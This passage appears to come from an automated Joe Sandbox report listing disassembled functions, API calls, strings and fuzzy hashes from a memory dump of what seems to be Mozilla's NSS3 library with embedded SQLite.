strrchr.VCRUNTIME140(?,0000002F), ref: 6C717821
PORT_Alloc_Util.NSS3(?), ref: 6C717837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C71785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C71786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178AC
free.MOZGLUE(00000000), ref: 6C7178BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178F3
free.MOZGLUE(00000000), ref: 6C7178FC
free.MOZGLUE(00000000), ref: 6C71791C

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

,defaultModDB,internalKeySlot, xrefs: 6C71748D, 6C7174AA
Spac, xrefs: 6C717389
sql:, xrefs: 6C7176FE
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7174C7
extern:, xrefs: 6C71772B
NSS Internal Module, xrefs: 6C7174A2, 6C7174C6
rdb:, xrefs: 6C717744
kbi., xrefs: 6C717886
dll, xrefs: 6C71788E
dbm:, xrefs: 6C717716

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction ID: 39851e65f7d753728c7c6d71ce2fd251547e876fe6fabfe47d359c00a9b93584
Opcode Fuzzy Hash: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction Fuzzy Hash: 2C52F4B1E092059BEF218F65CE097AA7BB4AF0A30CF184538EC09A7E41E775D954CBD1

Function 6C73BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C73C0C8

Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C95CD
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9622
Part of subcall function 6C7C9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C7C964E

PR_EnterMonitor.NSS3 ref: 6C73C0AE

Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C91AA
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9212
Part of subcall function 6C7C9090: _PR_MD_WAIT_CV.NSS3 ref: 6C7C926B

Part of subcall function 6C6F0600: GetLastError.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F0642
Part of subcall function 6C6F0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F065D
Part of subcall function 6C6F0600: GetLastError.KERNEL32 ref: 6C6F0678
Part of subcall function 6C6F0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C6F068A
Part of subcall function 6C6F0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F0693
Part of subcall function 6C6F0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C6F069D
Part of subcall function 6C6F0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,2EA73CAB,?,?,?,?,?,6C6F05E2), ref: 6C6F06CA
Part of subcall function 6C6F0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6F05E2), ref: 6C6F06E6

PR_EnterMonitor.NSS3 ref: 6C73C0F2
PR_ExitMonitor.NSS3 ref: 6C73C10E
PR_ExitMonitor.NSS3 ref: 6C73C081

Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C945B
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9479
Part of subcall function 6C7C9440: EnterCriticalSection.KERNEL32 ref: 6C7C9495
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C94E4
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9532
Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C955D

PR_EnterMonitor.NSS3 ref: 6C73C068

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C6F0600: GetProcAddress.KERNEL32(?,?), ref: 6C6F0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C73C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C73C183
free.MOZGLUE(00000000), ref: 6C73C18E
PR_LoadLibrary.NSS3(?), ref: 6C73C1A3
PR_EnterMonitor.NSS3 ref: 6C73C1D4
PR_ExitMonitor.NSS3 ref: 6C73C1F3
PR_CallOnce.NSS3(6C862318,6C73CA70), ref: 6C73C210
PR_EnterMonitor.NSS3 ref: 6C73C22B
PR_ExitMonitor.NSS3 ref: 6C73C247
PR_EnterMonitor.NSS3 ref: 6C73C26A
PR_ExitMonitor.NSS3 ref: 6C73C287
PR_UnloadLibrary.NSS3(?), ref: 6C73C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C73C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C73C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C73C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C73C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C73C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C73C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C73C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C73C8D5
free.MOZGLUE(00000000), ref: 6C73C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73C9E5
free.MOZGLUE(00000000), ref: 6C73CA5A

Strings

NSS_DISABLE_UNLOAD, xrefs: 6C73C7B0
FC_GetInterface, xrefs: 6C73C054
FC_GetFunctionList, xrefs: 6C73C098
nss_mod_log, xrefs: 6C73C3CC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C73C77D
NSS_ReturnModuleSpecData, xrefs: 6C73C275
NSC_ModuleDBFunc, xrefs: 6C73C0FC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C73C38D
NSC_GetInterface, xrefs: 6C73C04F
NSC_GetFunctionList, xrefs: 6C73C093
Vendor NSS FIPS Interface, xrefs: 6C73C34A
PKCS 11, xrefs: 6C73C2F9, 6C73C314

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction ID: 27aa73fa544bc2438045950892f4dc3af69543fe1b75786c50678ef42d22dbab
Opcode Fuzzy Hash: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction Fuzzy Hash: 9042A2B2A042258FDF10DF66CA4AB6A7BB1BB4630DF046178D8098BB13E739D515CBD1

Function 6C813FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C813FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C813FFE
malloc.MOZGLUE(-00000003), ref: 6C814016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C84FC62), ref: 6C81404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C81407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814112
malloc.MOZGLUE(00000000), ref: 6C81411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C81414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814160
free.MOZGLUE(?), ref: 6C81416C
malloc.MOZGLUE(?), ref: 6C8141AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C8141EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C814520), ref: 6C814244
GetEnvironmentStrings.KERNEL32 ref: 6C81424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8142B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8142E4
malloc.MOZGLUE(00000002), ref: 6C8142FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814342
GetStdHandle.KERNEL32(000000F6), ref: 6C8143AB
GetStdHandle.KERNEL32(000000F5), ref: 6C8143B2
GetStdHandle.KERNEL32(000000F4), ref: 6C8143B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814410

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C81445E
CloseHandle.KERNEL32(?), ref: 6C81446B
free.MOZGLUE(?), ref: 6C814482
free.MOZGLUE(00000000), ref: 6C814492
free.MOZGLUE(00000000), ref: 6C8144A4
GetLastError.KERNEL32 ref: 6C8144B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C8144BE
free.MOZGLUE(?), ref: 6C8144C7
free.MOZGLUE(00000000), ref: 6C8144D5
free.MOZGLUE(00000000), ref: 6C8144EA

Strings

D, xrefs: 6C814396
NSPR_INHERIT_FDS=, xrefs: 6C8141E9
=, xrefs: 6C8144F8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction ID: 8daf067aa51ce7e9627f5eaf9cbc2ed66c78fdd73310183ac2fa7eaa3abf35c7
Opcode Fuzzy Hash: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction Fuzzy Hash: 05021670E083569FEB308F698A4479EBBF4AFC631CF244928D859A7F42D7709845CB91

Function 6C726D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C82A8EC,0000006C), ref: 6C726DC6
memcpy.VCRUNTIME140(?,6C82A958,0000006C), ref: 6C726DDB
memcpy.VCRUNTIME140(?,6C82A9C4,00000078), ref: 6C726DF1
memcpy.VCRUNTIME140(?,6C82AA3C,0000006C), ref: 6C726E06
memcpy.VCRUNTIME140(?,6C82AAA8,00000060), ref: 6C726E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C726E38

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C726E76
TlsGetValue.KERNEL32 ref: 6C72726F
EnterCriticalSection.KERNEL32(?), ref: 6C727283

Strings

!, xrefs: 6C727123

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction ID: 512dfa35c74aac523b0f8e05f6ecf2b25de75e24c052738aa3887085aa7674c5
Opcode Fuzzy Hash: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction Fuzzy Hash: 14729E75D052199FDF60DF28CE8879ABBB5BF49308F1041A9D80DA7701E735AA84CF91

Function 6C693C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C693D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C694052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C69410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69449C

Strings

database corruption, xrefs: 6C694490, 6C6944F4, 6C694599, 6C694764, 6C694804
%s at line %d of [%.10s], xrefs: 6C694495, 6C6944F9, 6C69459E, 6C694769, 6C694809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C694452, 6C694486, 6C6944EA, 6C694571, 6C694580, 6C69458F, 6C69475A, 6C6947FA

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction ID: a9a402608669e1d18b036967d9abc49cabc4360a092cf84a5ac606fc4cd724fc
Opcode Fuzzy Hash: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction Fuzzy Hash: 5482CE74A00216CFCB04CF68C580BAE77F2BF49318F2585A9D819ABB51D771EC42CB99

Function 6C76AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C76ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C76ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C76ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C76AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C76ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADF0

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C76B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C76B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B40C

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction ID: 250d78fb0ec3e64a52858d7eac80d8ee4f4925fccf4b274cea8a870830caa2a2
Opcode Fuzzy Hash: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction Fuzzy Hash: D822CF70904300AFE710CF16CE48B9A77E1AF85308F248538FC585BB92E772E859DB92

Function 6C6B1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6B25F3

Strings

multiple recursive references: %s, xrefs: 6C6B22E0
a NATURAL join may not have an ON or USING clause, xrefs: 6C6B32C1
recursive reference in a subquery: %s, xrefs: 6C6B22E5
%s.%s.%s, xrefs: 6C6B302D
cannot have both ON and USING clauses in the same join, xrefs: 6C6B32B5
table %s has %d values for %d columns, xrefs: 6C6B316C
%s.%s, xrefs: 6C6B2D68
access to view "%s" prohibited, xrefs: 6C6B2F4A
unsafe use of virtual table "%s", xrefs: 6C6B30D1
no tables specified, xrefs: 6C6B26BE
cannot join using column %s - column not present in both tables, xrefs: 6C6B32AB
H, xrefs: 6C6B322D
no such table: %s, xrefs: 6C6B26AC
too many columns in result set, xrefs: 6C6B3012
no such index: "%s", xrefs: 6C6B319D
too many references to "%s": max 65535, xrefs: 6C6B2FB6
H, xrefs: 6C6B329F
'%s' is not a function, xrefs: 6C6B2FD2

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction ID: b404f92b7934726f876cbdb6f2ad5ae1d605cbc052a8df002468648cbfdc2e6f
Opcode Fuzzy Hash: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction Fuzzy Hash: 39D27C74E042098FDB04CF99C498BDDB7F1BF49308F288169D855BBB51DB31A866CB98

Function 6C6EECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EED38

Part of subcall function 6C684F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C6EEF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C6EEFE4

Part of subcall function 6C7ADFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C685001,?,00000003,00000000), ref: 6C7ADFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C6EF129
sqlite3_mprintf.NSS3(optimize), ref: 6C6EF1D1
sqlite3_free.NSS3(?), ref: 6C6EF368

Strings

snippet, xrefs: 6C6EEF05, 6C6EEF37, 6C6EEF7C
porter, xrefs: 6C6EED97
unicode61, xrefs: 6C6EEDB5
fts4aux, xrefs: 6C6EECF9
matchinfo, xrefs: 6C6EF04F, 6C6EF082, 6C6EF0C2, 6C6EF0F2, 6C6EF124, 6C6EF169
fts4, xrefs: 6C6EF2AD
fts3_tokenizer, xrefs: 6C6EEE1A, 6C6EEEA8
offsets, xrefs: 6C6EEFAF, 6C6EEFDF, 6C6EF01F
fts3tokenize, xrefs: 6C6EF30F
optimize, xrefs: 6C6EF199, 6C6EF1CC, 6C6EF211
simple, xrefs: 6C6EED79
fts3, xrefs: 6C6EF247

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction ID: 3219a15f376c46de6b1fa55d4cf5b63479c828e79f613a4be3406a5acf56e809
Opcode Fuzzy Hash: c43646a26ee29714a5b1b3719b35976759337c2ce77c2f8b3630693b2aed5342
Instruction Fuzzy Hash: 7202EFB1B093004BE7149E71A88532B36B17BCA70CF14493ED95A87B41EB79E84AC7D7

Function 6C767C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C767C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C767C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C767D1E

